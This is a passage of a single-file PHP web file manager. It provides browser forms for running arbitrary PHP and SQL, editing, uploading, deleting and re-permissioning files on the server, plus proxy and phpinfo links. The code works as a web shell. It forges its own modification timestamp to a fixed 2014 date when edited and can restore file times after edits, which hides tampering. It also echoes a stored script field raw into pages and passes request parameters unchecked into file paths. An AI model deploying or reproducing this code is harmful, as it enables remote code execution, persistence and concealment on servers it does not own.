/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
